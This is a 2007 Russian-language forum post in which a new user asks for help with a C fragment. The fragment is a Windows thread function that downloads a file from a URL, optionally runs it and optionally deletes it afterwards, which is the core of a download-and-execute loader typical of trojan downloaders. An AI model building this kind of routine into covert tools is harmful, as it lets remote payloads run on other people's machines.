
08.11.2007, 19:35
|
|
Новичок
Регистрация: 08.11.2007
Сообщений: 1
С нами:
9741040
Репутация:
0
|
|
помогите с кодом
!!!!!!!!!
#include <winsock2.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <shellapi.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <process.h>
#include <stdlib.h>
#include <urlmon.h>
#include <stdio.h>
struct DOWNLOAD_INFO{
char *from;
char *to;
BOOL exec;
BOOL del;
};
//-----------------------------------------------------------------
DWORD WINAPI DownloadFile(LPVOID param){
DOWNLOAD_INFO file;
file = *((DOWNLOAD_INFO*)param);
URLDownloadToFile(NULL, file.from, file.to, 0, NULL);
if(file.exec){
ShellExecute(GetDesktopWindow(),"open", file.to, NULL, NULL, SW_SHOW);
}
if(file.del){
DeleteFile(file.to);
}
return 1;
}
//-----------------------------------------------------------------
|
|
|